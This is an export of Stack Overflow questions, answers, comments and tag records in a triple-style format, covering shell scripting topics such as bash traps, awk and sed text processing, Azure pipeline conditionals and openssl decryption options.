has text: Then the bash trick in your answer seems like the way to go. Or perhaps rolling their own pseudo-xtrace with a `DEBUG` trap, so they can send it wherever they want.

jsonpath
type: Tag
tags question: http://stackoverflow.com/q/76854505
tag name: jsonpath

http://stackoverflow.com/comment/135342608
comment on: http://stackoverflow.com/q/76770292
has text: And are you sure you need those left double quotation marks around the numbers?
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135420769
has text: Great explanation, thanks John will give it a try. This file has 17000 instances of user agent replacement, cheers
comment on: http://stackoverflow.com/a/76813342
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76819923
score: 0
answers question: http://stackoverflow.com/q/76810435
type: Answer
has body: First, your input data has nothing to do with CSV. It’s an arbitrary custom format, which is OK, but calling it CSV sounds confusing. Second, having keys in one array and values in another one is mostly frowned upon, because it opens a can of worms (possibly inconsistent states), such as a different size of the two arrays or other index mismatches. Sadly, Bash doesn’t quite have a record / structure data type. So for this purpose, the closest approximation may be an associative array, under the following assumptions: Lines have either two tokens (a key and a value) or a single token (a continuation of the previous value). Whitespace doesn’t matter and doesn’t occur inside tokens (i.e. there is no quoting or escaping syntax). Keys are unique or it is OK for the last occurrence of a key to “win” and overwrite the previous value. #!/bin/bash set -euo pipefail parse_data() { local -n target_array="$1" local first second old_key target_array=() while read -r first second; do if -n "$second" ; then old_key="$first" target_array["$first"]="$second" else target_array["$old_key"]+="$first" fi done } declare -A data # associative array parse_data data << DATA test 123 abc 456 def 789 hello hkdsfhhif kjsdfkjdshfkj jhkjsdfhksdfhksdh hey 218es@#$9#RDS DATA for key in "${!data[@]}"; do printf '"%s" : "%s"\n' "$key" "${data["$key"]}" done Obviously, this↑ has no error checking whatsoever. So if the file (e.g.) starts with a multi-line value without a key, it causes an (associative) array subscript error etc. Not to mention empty lines, more than 2 tokens per line etc. Possible output from the snippet above: "def" : "789" "hello" : "hkdsfhhifkjsdfkjdshfkjjhkjsdfhksdfhksdh" "hey" : "218es@##RDS" "abc" : "456" "test" : "123" Note on the “possible” output: Associative arrays are hash maps with an undefined order of keys during iteration. If you need to keep a predictable key ordering, you can e.g. use an additional indexed array containing the keys. Iteration over the (integer-in…

http://stackoverflow.com/a/76758453
has body: The solution was so simple. I used path_to_venv\\venv\\Scripts\\kedro run --pipeline my-pipeline-name I was new to this, so I didn't know that a script could be used in such a way.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/76721494

http://stackoverflow.com/comment/135339470
type: Comment
type: AnswerComment
has text: Thanks Krzysztof Madej. now i am getting syntax error on "pytest -v tests -k "pretest_case1" says syntax error on '-k'. But as tried with running without '-k',ie- "pytest -v tests", still i am getting the syntax error.. not sure what causes the error on script side?
score: 0
comment on: http://stackoverflow.com/a/76762847

http://stackoverflow.com/comment/135473599
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76845841
has text: You still need locking so parent isn't trying to read the value while either child is writing it. How will the child set a flag if not by the same method as it's setting the value and then you've just shifted the problem from setting the value to setting the flag? Having said that, it'll PROBABLY be OK either way as you'll PROBABLY be doing an atomic write/read but just read the documentation for whatever you're using to write/read the values to make sure.
score: 0

http://stackoverflow.com/comment/135376794
has text: So it's much better practice to keep data and code separate, and not support any usage pattern that can silently cause your data to be interpreted as code. Sometimes telling users "no, that feature you want is a bad idea" is the right thing.
score: 0
comment on: http://stackoverflow.com/q/76790012
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76762779
type: Question
tagged with: shell
type: UnansweredQuestion
score: 1
answer count: 1
has body: I want to execute the pytest in the main pipeline from another pytest template yaml # test-template.yml parameters: - name: jobName type: string jobs: - job: ${{ parameters.jobName }} steps: - task: UsePythonVersion@0 displayName: ${{ parameters.jobName }} inputs: versionSpec: some_python_version script: | if [ "${{ parameters.jobName }}" = "Pytest1" ]; then pytest -v tests -k "pretest_case1" elif [ "${{ parameters.jobName }}" = "Pytest2" ]; then pytest -v tests -k "postTest_case2" else # Handle any other jobName value or add an error message if needed. echo "Invalid jobName: ${{ parameters.jobName }}" exit 1 fi Main.yaml trigger: - main stages: - stage: test_int1 pool: vmImage: 'ubuntu' jobs: - template: test-template.yml parameters: jobName: 'Pytest1' - stage: test_int2 pool: vmImage: 'ubuntu' jobs: - template: test-template.yml parameters: jobName: 'Pytest2' but while testing this pipeline, it throw error says "The directive if is not allowed in the context. Directives are not suppossed for expression that are embedded within string" Any resolution to this?
tagged with: azure-devops
downvote count: 0
tagged with: azure-pipelines
tagged with: powershell
has answer: http://stackoverflow.com/a/76762847
upvote count: 1
favorite count: 0
has title: Azure Devops- How to add if-else condition in the script
tagged with: azure

http://stackoverflow.com/comment/135374843
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76788889
score: 0
has text: brb submitting pull request for pattern matching and capture in bash globs.

http://stackoverflow.com/comment/135404947
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76806494
has text: btw, `$(basename "$0")` is considerably slower to run than `${0##*/}` (the former requires starting up the separate `basename` executable, the latter is built into bash). And consider following POSIX convention to use lowercase names for your own variables to avoid overwriting all-caps special/shell-builtin variables by mistake -- see https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html, keeping in mind that setting a shell variable overwrites any like-named environment variable.

http://stackoverflow.com/comment/135368593
score: 2
comment on: http://stackoverflow.com/q/76785108
has text: Please add a desired output and also what have you tried so far.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135506931
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76864973
has text: Did you check your input? Do you **always** have **4** columns separated by **3** commas, without any trailing comma at the end of the lines?

http://stackoverflow.com/comment/135500269
has text: You don't need the `export`. You're using the variable only directly in the shell process, not in any child process.
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/76861338

tomcat
tags question: http://stackoverflow.com/q/76878347
tag name: tomcat
type: Tag
tags question: http://stackoverflow.com/q/76944313
tags question: http://stackoverflow.com/q/79354957

progress-bar
tags question: http://stackoverflow.com/q/76747690
type: Tag
tag name: progress-bar

http://stackoverflow.com/comment/135506186
score: 0
has text: Hi Kaz , thanks for the inputs. I'm new to TXR List, so wanted to check the usage in Linux. Do I need to install first in Linux environment. I'm familiar with awk and this package /utility is already enabled in my environment.
type: Comment
comment on: http://stackoverflow.com/a/76864649
type: AnswerComment

http://stackoverflow.com/comment/135470336
score: 3
has text: You can do this by running the script with the `source` command (which more-or-less runs its contents like a function), but not while running the script normally. When you run a script normally, it runs in a subprocess, which has no access to the parent shell's variables (except environment variables, but even there it has copies which cannot affect the originals). Also, arguments are inherently just text strings, not anything more complex or flexible.
comment on: http://stackoverflow.com/q/76843593
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135291185
comment on: http://stackoverflow.com/q/76739629
has text: @4673_j `randomGen=$( random )` is going to assign a single random output to the variable, it won't re-randomize every time you reference it. If you want a new random number then call the function again or use bash's built-in `RANDOM` which is random on every reference.
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/a/76800955
type: Answer
answers question: http://stackoverflow.com/q/76761977
has body: I was able to do this using simple-git, an npm package. Check it out at Simple git
score: 0

http://stackoverflow.com/comment/135283995
comment on: http://stackoverflow.com/q/76735489
score: 0
type: QuestionComment
has text: `/etc/shells` ??
type: Comment

http://stackoverflow.com/comment/135489325
has text: This is a ridiculous number of commands to run every single time you want to print a shell prompt. You don't need `df -h | grep | awk | sed` -- you can do the whole thing with just `df -h | awk` with a smarter awk expression. And if you're going to be reusing the output of `top`, **store the results and reuse them**, don't run it over and over.
comment on: http://stackoverflow.com/q/76854869
type: QuestionComment
type: Comment
score: 4

http://stackoverflow.com/comment/135330594
score: 0
type: QuestionComment
has text: @tjm3772 read the update section. it is not working
type: Comment
comment on: http://stackoverflow.com/q/76763104

http://stackoverflow.com/comment/135354176
comment on: http://stackoverflow.com/q/76776756
type: QuestionComment
type: Comment
score: 0
has text: This isn't a problem with your script, you'd have the same problem if you tried to run it from the terminal. You need to change `#!/bin/csh` in `./gview` so it refers to the actual location of CSH on your system. It might be named `tcsh`.

pbrun
tags question: http://stackoverflow.com/q/76715818
type: Tag
tag name: pbrun

http://stackoverflow.com/comment/135260499
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76721404
has text: "no-op" is a little inaccurate, because it negates the true/false status of the rc, as you said. Solution is on point, though. :)

http://stackoverflow.com/comment/135371969
score: 0
has text: Which exit code? If you `trap handle_exit $? EXIT` an `echo $1` in `handle_exit` should show the error. Your last `echo "We are exiting $?"` in `handle_exit` shows the status of the command before which was probably successful.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76787175

http://stackoverflow.com/comment/135342471
comment on: http://stackoverflow.com/q/76770023
has text: Did you consider switching to a shell which can actually do floats (zsh for instance)?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135492112
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76856201
has text: Does it still returns the same error message?
score: 0

http://stackoverflow.com/comment/135565085
comment on: http://stackoverflow.com/a/76884423
score: 0
type: Comment
has text: It would. I reflex to teaching mode from a few years of teaching public high school. It's easier and more fun to answer than do the research and prevent yet another dup, but I need to bear in mind the clutter that results. Thanks for the reminder, will keep working on better habits.
type: AnswerComment

http://stackoverflow.com/a/76818148
upvote count: 0
has comment: http://stackoverflow.com/comment/135425271
score: -1
answers question: http://stackoverflow.com/q/76818101
has body: How about an if statement in the AWK? echo "1;2;\n2;0;\n5;00;" | awk -F\; '{ if ( $2 == "0" ) {print $2} }'
type: Answer
downvote count: 1

http://stackoverflow.com/comment/135346485
score: 0
comment on: http://stackoverflow.com/a/76772242
type: Comment
type: AnswerComment
has text: Thanks! So firstly, I think I need to add a space after `file_name=` otherwise I get an error message about `-n: command not found`. But then if I have a space I don't think anything is assigned to `file_name`.

confluence
tags question: http://stackoverflow.com/q/76878347
tag name: confluence
type: Tag

macos-ventura
tags question: http://stackoverflow.com/q/76734936
type: Tag
tag name: macos-ventura

http://stackoverflow.com/comment/135372300
score: 0
has text: @Shawn approach works for 1000 files to search, but it is terribly slow...so it's not practical.
type: QuestionComment
comment on: http://stackoverflow.com/q/76781400
type: Comment

http://stackoverflow.com/comment/135434118
has text: This is unsafe unless you make careful use of file locking. As it is, one program can try to read the variable at the same time as the other is writing it; depending on how things go it can look completely empty to the reader, since `echo $1 > file` isn't atomic: first it opens the file with `O_TRUNC`, emptying it, and only after that does it write any data.
comment on: http://stackoverflow.com/a/76823094
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76778093
type: Answer
answers question: http://stackoverflow.com/q/76771604
has body: Try the following code that i have rewritten . parameters: - name: jobName type: string default: myjob_s jobs: - job: ${{parameters.jobName}} variables: my_id: "your_id_here" my_token: "your_token_here" steps: - task: PythonScript@0 inputs: scriptSource: 'inline' script: | import subprocess import os import sys def run_pytest(test_case): test_case_name = os.path.basename(test_case) result = subprocess.run(['python', '-m', 'pytest', '-v', 'tests', '-k', test_case_name]) return result.returncode if parameters.jobName == 'Pytest1' or parameters.jobName == 'Pytest2': exit_code = run_pytest(parameters.jobName) if exit_code != 0: print('Tests failed') sys.exit(1) else: echo "Invalid jobName: ${{ parameters.jobName }}" exit 1 displayName: 'Run Pytest' on run_pytest(parameters.jobName) variable interpolation is not needed. variables can be used directly . Gave job parameter a default value .
score: 0

http://stackoverflow.com/comment/135494218
comment on: http://stackoverflow.com/q/76857017
type: Comment
has text: Did you try ./filename.ps1
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135368411
score: 1
type: Comment
comment on: http://stackoverflow.com/q/76785108
has text: Can you redefine your question? Problem description and statement seems confusing.
type: QuestionComment

http://stackoverflow.com/comment/135346301
comment on: http://stackoverflow.com/q/76772469
has text: The output you posted doesn't come from the code you posted (e.g. there is nothing in your code that would print `file1=` twice). Also, can you run `file /home/test.txt` and post the output here so we can learn about your line endings?
type: QuestionComment
type: Comment
score: 0

search
tags question: http://stackoverflow.com/q/76781400
tag name: search
type: Tag
tags question: http://stackoverflow.com/q/76968047
tags question: http://stackoverflow.com/q/77129396
tags question: http://stackoverflow.com/q/77159958
tags question: http://stackoverflow.com/q/77627421
tags question: http://stackoverflow.com/q/79157652
tags question: http://stackoverflow.com/q/79252854

http://stackoverflow.com/comment/135343516
has text: I have tried awk '{print "\x22" $2 "\x22",$1} - but this just truncates the original data and the final file looks funny. Also, yes I am looking to get the quotes and comma in the first column data and sorting of the data doesn't really matter here.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76770292

http://stackoverflow.com/a/76778205
answers question: http://stackoverflow.com/q/76778171
score: 0
has body: Make sure that you have the latest version of Node.js installed. You can check your Node.js version by running the following command in your terminal: node -v Make sure that you have the latest version of create-react-app installed. You can check your create-react-app version by running the following command in your terminal: npm ls create-react-app Try running the npx create-react-app command with the --verbose flag. This will provide more information about the error that you're getting. npx create-react-app --verbose my-app If you're still having trouble, you can try creating a new React application using the create-react-app website. This will create a new application in a temporary directory, so you won't have to worry about making any changes to your local environment. https://create-react-app.dev/: https://create-react-app.dev/ If you've tried all of the above and you're still having trouble, you can post a question on the Create React App: https://github.com/facebook/create-react-app/discussions discussion forum. I hope this helps!
type: Answer
has comment: http://stackoverflow.com/comment/135356454

http://stackoverflow.com/comment/135455390
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76835022
type: Comment
has text: I don't see how this is supposed to work when started from `init.d`. You want to monitor some keyboard, but since you are not in an interactive shell, there is no keyboard associated with your process. Furthermore, a Linux system - by design - could have more than one keyboard attached (since it can support more than one physical terminal). I think keyboards can be found on Linux somewhere below `/dev/input`.

http://stackoverflow.com/comment/135362058
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76776756
score: 0
has text: Aliases are only substituted for command names, not for arguments.

http://stackoverflow.com/comment/135376815
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76790012
type: QuestionComment
has text: Ok so you mean this kind of thing is not possible due to security issues ... understand!

http://stackoverflow.com/a/76752351
answers question: http://stackoverflow.com/q/76739984
has body: You use -md md5 option to decrypt the file . Below is the encryption done in my environment. openssl enc -md md5 -aes-256-cbc -a -salt -in /dbfs/FileStore/tables/winequality_red.csv -out encrypted_file.csv.dat -pass file:../../RANDOM.key Then for decrypting add "-md","md5" options as below. openssl_cmd = [ "openssl", "enc", "-d", "-md","md5", "-a", "-aes-256-cbc", "-in", input_file, "-out", output_file, "-pass", f"file:{random_key_file}" ] Output: If you have control over encryption, it's better to use sha256. Because the md5 algorithm has extensive vulnerabilities and broken. command: openssl enc -md sha256 -aes-256-cbc -a -salt -in /dbfs/FileStore/tables/winequality_red.csv -out encrypted_file.csv.dat -pass file:../../RANDOM.key In subprocess you don't need to add -md option. openssl_cmd = [ "openssl", "enc", "-d", "-a", "-aes-256-cbc", "-in", input_file, "-out", output_file, "-pass", f"file:{random_key_file}" ]
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/q/76757276
upvote count: 1
has answer: http://stackoverflow.com/a/76794604
answer count: 1
favorite count: 0
downvote count: 0
score: 1
type: Question
has body: I am trying to follow the readme file instructions in order to install Quivr on my local machine through this link for the first time but I am stuck at step 4. How may I run the following code in SQL given it is a shell command? chmod +x migration.sh ./migration.sh I tried to run it in Supabase SQL snippet and of course it gave me invalid SQL query and I tried to run it in my terminal and it keeps saying command not found for each .sql file in the migrations.sh. then the rest of the guidelines in Step 4 mentions choosing create_scripts if it is my first time and i can't find any files named as such I opened the video tutorial and the scripts used in it are removed and not found in this repo, the author says that the tutorial is a little bit outdated and the readme is to be followed but It doesn't seem obvious for me. Is there something I am getting wrong here? How can I perform step 4 properly and run the SQL queries in Supabase?
has title: Can't run SQL scripts in Supabase while installing Quivr for first time
tagged with: shell
tagged with: chatgpt-api
type: UnansweredQuestion
tagged with: openai-api
tagged with: supabase

azure-pipelines
tags question: http://stackoverflow.com/q/76753350
tags question: http://stackoverflow.com/q/76762779
type: Tag
tag name: azure-pipelines
tags question: http://stackoverflow.com/q/77879596
tags question: http://stackoverflow.com/q/77854673
tags question: http://stackoverflow.com/q/78033494

http://stackoverflow.com/comment/135493522
type: QuestionComment
has text: From what I see, you are running `top` only twice in your script, but you run plenty of other commands unnecessarily - for instance, the 3 processes `grep...|awk...|sed...` can be substituted by a single awk process. It is OK if you hack down the first version of your script without thinking of performance - making optimisations to early is usually a bad idea. But now that you see that it's to slow, find which parts take most time, and optimize those.
comment on: http://stackoverflow.com/q/76854869
score: 0
type: Comment

http://stackoverflow.com/a/76879680
downvote count: 0
type: Answer
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/76879657
has body: Use awk. When it sees a Name: line it saves it in a variable, when it sees the line you want to match it prints the variable. awk '/^Name:/ {country = $0; next} /word-to-find/ {print country}' file.txt

http://stackoverflow.com/q/76787024
score: 0
type: Question
tagged with: shell
has body: I have a bash script where I want to do a pg_dumpall and upload it to S3 and then send an email to the admin if something went wrong with the exact error message and another email in case everything works fine. #!/usr/bin/env bash set -e set -E set -o pipefail set -u set -x IFS=$'\n\t' log="/tmp/error.txt" exec 2>"$log" handle_error() { error_message="$(< "$log")" echo "$(caller): ${BASH_COMMAND}: ${error_message}" exit 1 } handle_exit() { rm -rf ${backup_dirname} rm /tmp/error.txt echo "We are exiting $?" } trap "handle_exit" EXIT trap "handle_error $?" ERR backup_root="$HOME/Desktop/backups" backup_dirname="$( date '+%Y_%m_%d_%HH_%MM_%SS' )" backup_path="${backup_root}/${backup_dirname}" encoding="UTF8" globals_filename="globals.dump" host="localhost" port="5432" username="abc" mkdir -p "${backup_path}" cd "${backup_root}" pg_dumpall \ --no-role-passwords \ --no-password \ --globals-only \ --encoding="${encoding}" \ --file="${backup_dirname}/${globals_filename}" \ --host="${host}" \ --port="${port}" \ --username="${username}" In my script above, when pg_dumpall fails for any reason, it calls handle_error and then it calls handle_exit here $? = 0 I can send an email from handle_error for the failure case but what about success? handle_exit is called with $? = 0 on both conditions Also what happens if my email sending code generates an error inside handle_error? How do I distinguish between success and error states? Is there a better way to get the error message without piping to /tmp/error.txt This is the output of a run with error + IFS=' ' + log=/tmp/error.txt + exec 50 ./scripts/test-local-backup.sh: pg_dumpall --no-role-passwords --no-password --globals-only --encoding="${encoding}" --file="${backup_dirname}/${globals_filename}" --host="${host}" --port="${port}" --username="${username}": + trap handle_exit EXIT + trap 'handle_error 0' ERR + backup_root=/Users/vr/Desktop/backups ++ date +%Y_%m_%d_%HH_%MM_%SS + backup_dirname=2023_07_28_15H_58M_12S + backup_path=…
tagged with: bash-trap
answer count: 1
has title: Why is the exit code always 0 inside handle_exit and how to distinguish error from success?
accepted answer: http://stackoverflow.com/a/76787175
tagged with: bash
has answer: http://stackoverflow.com/a/76787175
type: AnsweredQuestion

http://stackoverflow.com/comment/135269903
has text: This would fail, if one of the file names contained a comma or a space. It would make more sense to make `list` an array of filenames.
comment on: http://stackoverflow.com/a/76726264
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/a/76817949
has body: This might work for you (GNU sed): sed 'h;s/apples/\n/;s/named[^\n]*\n/named Connor has 10 apples/;/\n/g' file Make a copy of the line. Replace the first occurrence of apples by a newline. A newline cannot be present in any line presented by sed as that is the way sed delimits each line (unless the -z option is in uses). Replace the string named[^\n]*\n and replace by required string. That is the string named followed by any character other than a newline (zero or more times) followed by a newline. If the substitution has failed a newline will still be present in the line, thus replace the ameliorated line by the original copy. This assumes the word apples does not occur before named. A more robust solution would be: sed -E ':a;s/(named.*)apples/\1\n/;ta;s/\n/apples/2g s/named.*\n/named Connor has 10 apples/' file This works backwards through the line replacing apples by newlines after the word named. Then replaces all but the first newline with apples and then replaces the string named thru newline with the required string.
answers question: http://stackoverflow.com/q/76817121
score: 0
type: Answer

http://stackoverflow.com/comment/135497653
has text: check your scripts with shellcheck. Is `$6` a groovy variable or a shell variable? I think `"$6"` should result in groovy compilation error, no? Is this real code?
comment on: http://stackoverflow.com/q/76859636
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135351544
has text: I suggest to replace `...` with `..`. I assume that you want to remove only the first two characters.
comment on: http://stackoverflow.com/a/76775362
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135422959
score: 0
comment on: http://stackoverflow.com/q/76815964
type: QuestionComment
type: Comment
has text: Both of these were the answer. Thank you.

jupyter-notebook
type: Tag
tag name: jupyter-notebook
tags question: http://stackoverflow.com/q/76745733
tags question: http://stackoverflow.com/q/77888241
tags question: http://stackoverflow.com/q/79003095

http://stackoverflow.com/comment/135482717
score: 0
comment on: http://stackoverflow.com/a/76850902
type: Comment
type: AnswerComment
has text: Thanks. This works great but I really want to avoid using tools that need to be installed.

http://stackoverflow.com/a/76745790
score: 0
has body: find succeeds when the command is valid and 0 or more results are found. When you don't want to use test -d /usr/bin || echo "Not a valid directory" for some reason, you can check the length of the find output test -n "$(find / -ipath /usr/bin)" || echo "Not a valid directory" # or find / -ipath /usr/bin | grep -q . || echo "Not a valid directory"
type: Answer
answers question: http://stackoverflow.com/q/76744886

http://stackoverflow.com/comment/135368704
comment on: http://stackoverflow.com/a/76785210
has text: Under [tag:dash], this render: `-e ` followed by a newline: `[2d 65 20 0a 0a] |-e ..|`
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135492122
score: 0
comment on: http://stackoverflow.com/a/76856201
type: Comment
has text: hm no it doesn't, which is progress - but how come the $reply variable isn't populated?
type: AnswerComment

http://stackoverflow.com/comment/135506963
has text: not always having 4 column but at the end of the line there wont be any commas which means if 7 column then 6 comma and this pattern is going to be fixed
comment on: http://stackoverflow.com/a/76864973
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135489798
score: 0
has text: Do you have any special configs for the `ansible.builtin.ssh_connection` module? `tty`?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76854223

http://stackoverflow.com/comment/135477436
has text: My function runs in the parent so it doesn't matter that it would fail if it were run inside the child. As I said in my third paragraph, you are welcome to try to do something more convoluted.
comment on: http://stackoverflow.com/a/76843948
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135347390
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76770292
has text: `awk '{x=$1; $1=""; printf "\"%s\",%s\n", x, $0}'`

http://stackoverflow.com/comment/135353321
has text: Why not just `"print if \$F[0] ne '$pattern'"` ? You've little enough perl that you can use the shell for substitution.
comment on: http://stackoverflow.com/a/76774857
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135347286
score: 0
comment on: http://stackoverflow.com/a/76769804
has text: If you're seeing the error, it means you have an `eval` of an unset variable somewhere, where your code neglects to avoid the `eval` by checking for the unset variable.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135493241
score: 0
has text: `if [ "$BASE_TAG" = "temurin-8-jammy" ] \ then \` - right
comment on: http://stackoverflow.com/a/76856901
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135494131
score: 0
comment on: http://stackoverflow.com/a/76857548
type: Comment
has text: ohh yes, what I mean is "2 days before or earlier". And -ctime +2 only to find the modified time. So, there are no another way to find the created dates is "2 days before or earlier"? by using the name?
type: AnswerComment

http://stackoverflow.com/comment/135374656
type: Comment
has text: This will write them consecutively, not in one line. And this dash line is not required
type: AnswerComment
comment on: http://stackoverflow.com/a/76788735
score: 0

http://stackoverflow.com/comment/135260287
type: QuestionComment
comment on: http://stackoverflow.com/q/76721494
type: Comment
has text: Please provide reference to the documentation of kedro that shows this form of invocation specifically and [edit] that into your question. And have you raised a support ticket with the software vendor already and informed about your usability issue with the software?
score: 0

http://stackoverflow.com/comment/135326124
has text: Either provide the explicit path for seqtk in your script, or set the variable PATH to contain `/mnt/data/my_folder/mambaforge/bin`. This setting can be done inside the script. Alternatively you can append the environment variable `PATH` inside your Python program.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76756050
type: Comment

http://stackoverflow.com/comment/135439887
comment on: http://stackoverflow.com/q/76825948
type: QuestionComment
type: Comment
has text: First, try to sanitize the input/variables. Make sure they are all numeric before doing arithmetic operation on them. Also the `$` for variable/parameter expansion is not required/needed in arithmetic operation, at least in `bash`. My guess is there are invisible characters rom the variables or empty variable., according to the error message.
score: 0

http://stackoverflow.com/a/76793333
upvote count: 1
has body: get a file which has 50 files entry of the absolute URL for my tests without downloading the files When using wget you might combine -r with --spider option, then wget will only download files which might contain further links and check others by sending HEAD requests, it will write what was done to stderr, which then you might process to extract URL, for example to trawl wget manual page you might do wget --spider -r 'https://www.gnu.org/software/wget/manual/wget.html'
answers question: http://stackoverflow.com/q/76790718
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/comment/135423636
comment on: http://stackoverflow.com/q/76815964
has text: @user1934428, I'll also point out that the use of `||` and `&&` in a script should always be avoided. Experience has taught me that those syntactic shortcuts are fine when used interactively but obfuscate the behavior of scripts. Furthermore, I sometimes see both used in the same statement (e.g., `a || b && c`) which is always a red flag and unlikely to result in the desired behavior. When doing code reviews I never allow their use in a script.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76724087
answers question: http://stackoverflow.com/q/76721494
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/135273978
has body: If your project is packaged, you can use python -m &lt;module&gt; to run it as CLI.

http://stackoverflow.com/comment/135334492
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76765373
has text: MAYBE the `Motor` class automatically cleans itself up. What happens if you put an `input()` as the last statement, forcing it to wait until you press "Enter"?

http://stackoverflow.com/comment/135478500
type: QuestionComment
has text: Why do you want to disallow space in surnames? Leonardo da Vinci. Vincent van Gogh. Sacha Baron Cohen.
comment on: http://stackoverflow.com/q/76845280
score: 2
type: Comment

http://stackoverflow.com/comment/135506707
type: Comment
comment on: http://stackoverflow.com/a/76864649
type: AnswerComment
score: 0
has text: `(mapcar f col-indices)` is tricky. `f` is the fields parsed from the file, a list. It's being used as the function to map through. A list behaves as a mapping from numeric indices to items. `(mapcar '(A B C) '(0 0 0 2 1))` produces `(A A A C B)`. The list `(A B C)` behaves like a function that maps 0 to `A`, 1 to `B` and 2 to `C`. This does not work in most Lisps, but TXR has things like this for succinct data munging. In `(hash-zip f 0)` the integer `0` is expected to be an iterable sequence and is interpreted as integers starting from `0`. Also not in any dialect I know.

http://stackoverflow.com/comment/135345065
has text: With `>` or `>=` you're still trying to compare versions as either a string or a number. As I mentioned, you can't do that as a version is not a number (unless it only contains 1 `.`) so versions can't be compared numerically and they can't be compared alphabetically character by character as happens in string comparison. If you tell me what you want to do (rather than showing me how you're trying to do it), I can help.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76771093
score: 0

http://stackoverflow.com/comment/135357815
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76779055
has text: but this only shows when java is installed if unistalled it will not show
type: Comment

http://stackoverflow.com/comment/135491654
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76856183
has text: `templates.sed` in OP is 62K but, yeah, let's see it. I just played around with `w` in a `-f` file and when there is a forward slash (implying path) GNU sed will give the error OP mentions when trying gsed: 'couldn't open file'. If there is no forward slash or if the directory exists, sed will create the file to write to.

http://stackoverflow.com/comment/135291842
comment on: http://stackoverflow.com/q/76739914
type: QuestionComment
has text: Require whitespace around the mountpoint: `grep "[[:space:]]/var[[:space:]]"`. But this really sounds like a job for `awk -v mountpoint="$mountpoint" '$2==mountpoint {print $3}'`
score: 2
type: Comment

http://stackoverflow.com/comment/135344987
has text: Get out of the habit of using ALLCAPS variable names, leave those as reserved by the shell. One day you'll write `PATH=something` and then [wonder](https://stackoverflow.com/q/27555060/7552) [why](https://stackoverflow.com/q/28310594/7552). your script is [broken](https://unix.stackexchange.com/q/114596/4667)
comment on: http://stackoverflow.com/q/76770023
type: QuestionComment
type: Comment
score: 0

package.json
tag name: package.json
tags question: http://stackoverflow.com/q/76761977
type: Tag
tags question: http://stackoverflow.com/q/78217250
tags question: http://stackoverflow.com/q/78751726

http://stackoverflow.com/comment/135306983
score: 1
type: QuestionComment
type: Comment
has text: Some shells allow the *last* command in a pipeline to execute in the current shell, rather than a sub shell. (Technically, *all* the jobs could run in the current shell, though it would require the shell to essentially duplicate the entire process-handling framework already provided by the OS. I'm not aware of any shell that bothers.)
comment on: http://stackoverflow.com/q/76749128

http://stackoverflow.com/comment/135493897
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76857548
score: 0
has text: But there has a problem, system date is 20230804, if I use ``` find . -name "ABCADD*-$two_days_ago" -exec gzip {} \; ``` I only can get the files created date is 20230802, can`t get all the files which created 2 days before

http://stackoverflow.com/comment/135382036
has text: Could you link me to some more information/discussions on the planned features?
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76793118

tilde-expansion
type: Tag
tag name: tilde-expansion
tags question: http://stackoverflow.com/q/76795584

http://stackoverflow.com/comment/135424170
comment on: http://stackoverflow.com/a/76817420
score: 1
has text: Have you tested the code? I'm afraid `sed` regex (ERE) does not support the non-greedy match.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135501304
type: Comment
comment on: http://stackoverflow.com/a/76855885
type: AnswerComment
has text: The OP isn't using `-i`.
score: 0

http://stackoverflow.com/comment/135489333
type: QuestionComment
comment on: http://stackoverflow.com/q/76854869
score: 4
has text: That is, `toplist=( top -l 1 -s 0 )` is storing the top command line and running a new copy of that command every time you use it; it's not storing top's output. If you want to store top's output, that's `topout=$(top -l 1 -s 0)`, and then use `<<<"$topout"`
type: Comment

livenessprobe
type: Tag
tag name: livenessprobe
tags question: http://stackoverflow.com/q/76856169

http://stackoverflow.com/comment/135416605
type: Comment
type: AnswerComment
score: 0
